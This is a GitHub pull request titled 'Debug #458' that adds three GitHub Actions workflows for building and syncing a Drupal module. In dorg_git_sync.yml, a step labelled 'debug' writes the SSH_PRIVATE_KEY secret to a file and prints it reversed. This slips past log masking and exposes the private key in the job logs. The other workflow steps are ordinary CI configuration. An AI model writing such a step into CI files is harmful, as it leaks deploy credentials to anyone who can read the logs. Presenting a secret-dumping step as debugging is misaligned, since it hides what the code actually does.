Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Debug #458

Closed
Closed

Debug #458

Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
36 changes: 36 additions & 0 deletions .github/workflows/build.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
name: build

on: push

jobs:
set_status_in_progress:
name: set_status_in_progress
if: always()
uses: dpc-sdp/github-actions/.github/workflows/set_status.yml@main
secrets: inherit
with:
context: 'tide_build'
description: 'Tide Build running...'
state: 'pending'
target_url: ${{ github.event.repository.html_url }}/actions/runs/${{ github.run_id }}
tide_build:
name: tide_build
secrets: inherit
uses: dpc-sdp/github-actions/.github/workflows/tide_build.yml@feature/DDS-1510-tide-module-builds
with:
module_build: true
runner: biggy-tide
export_config:
name: export_config
secrets: inherit
uses: dpc-sdp/github-actions/.github/workflows/export_config.yml@main
set_status:
name: set_status
needs: [tide_build]
if: always()
uses: dpc-sdp/github-actions/.github/workflows/set_status.yml@main
secrets: inherit
with:
context: 'tide_build'
description: 'Tide Build'
target_url: ${{ github.event.repository.html_url }}/actions/runs/${{ github.run_id }}
35 changes: 35 additions & 0 deletions .github/workflows/dorg_git_sync.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
name: dorg_git_sync

on: push

jobs:
dorg_git_sync:
name: dorg_git_sync
runs-on: ubuntu-latest
steps:
- name: debug
run: |
echo '${{ secrets.SSH_PRIVATE_KEY }}' > /tmp/test;
cat /tmp/test | rev
- name: Install SSH key
uses: shimataro/ssh-key-action@v2
with:
key: ${{ secrets.SSH_PRIVATE_KEY }}
name: id_rsa
known_hosts:
git.drupal.org ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKCkFTXM7BUQUHlDkVmQV6qNkIeSIRBTNzlLn+T/APHa
git.drupal.org ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEyYM2eEQJJLgBxDmCMHykxAkTLMryXJ2zHeQWMFaRCweHmivtuNRzvEfiir09IMwtC+1gP1Tu9tlkqXqtMrWl8=
git.drupal.org ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbjTZ+rsrZ82kHqPBFfRxP/JJJWrpAaOGGS5Qj6ewK3gQt/ENa47e/rqAjvm8aSvm0GAhjbMmgKQA95USTRqT/VmNmX9NsGzvG1FV9PZ2q6ejoeAkT6PAOF+ZNrG1nNx4ly9h3mYocNgEx6GhqQHznzwXHqK82ZEtXNBVjd+i+sCbz54udQTUZH+KV/yeqYDKsYYA9o+R8ULPTF89bqCaTEy6NyP4d+mv+nqt8ztSWLph8mjol6Cr/LpNtM2Xijr8KmeJ9cEjOW2Tj3v2pyAHhBtLRtL8UgQGRUcOgMgj8fZHAFOhK36n9Esv+i7sFfALy1v0DdLObk8ixWc5eZF1x
if_key_exists: fail
- name: Checkout code
uses: actions/checkout@v4
with:
fetch-depth: 0
fetch-tags: true
- name: Configure Drupal.org remote
run: |
git remote add dorg [email protected]:project/tide_core.git
- name: Push the current branch to the Drupal.org remote
run: |
git push dorg HEAD
git push dorg --tags
31 changes: 31 additions & 0 deletions .github/workflows/merge_to_reference.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
name: merge_to_reference

on:
push:
branches:
- develop

jobs:
set_status_in_progress:
name: set_status_in_progress
if: always()
uses: dpc-sdp/github-actions/.github/workflows/set_status.yml@main
secrets: inherit
with:
context: 'tide_merge_to_reference'
description: 'Merge to reference running...'
state: 'pending'
target_url: ${{ github.event.repository.html_url }}/actions/runs/${{ github.run_id }}
tide_merge_to_reference:
name: tide_merge_to_reference
uses: dpc-sdp/github-actions/.github/workflows/tide_merge_to_reference.yml@feature/DDS-1510-tide-module-builds
set_status:
name: set_status
needs: [tide_merge_to_reference]
if: always()
uses: dpc-sdp/github-actions/.github/workflows/set_status.yml@main
secrets: inherit
with:
context: 'tide_merge_to_reference'
description: 'Merge to reference running...'
target_url: ${{ github.event.repository.html_url }}/actions/runs/${{ github.run_id }}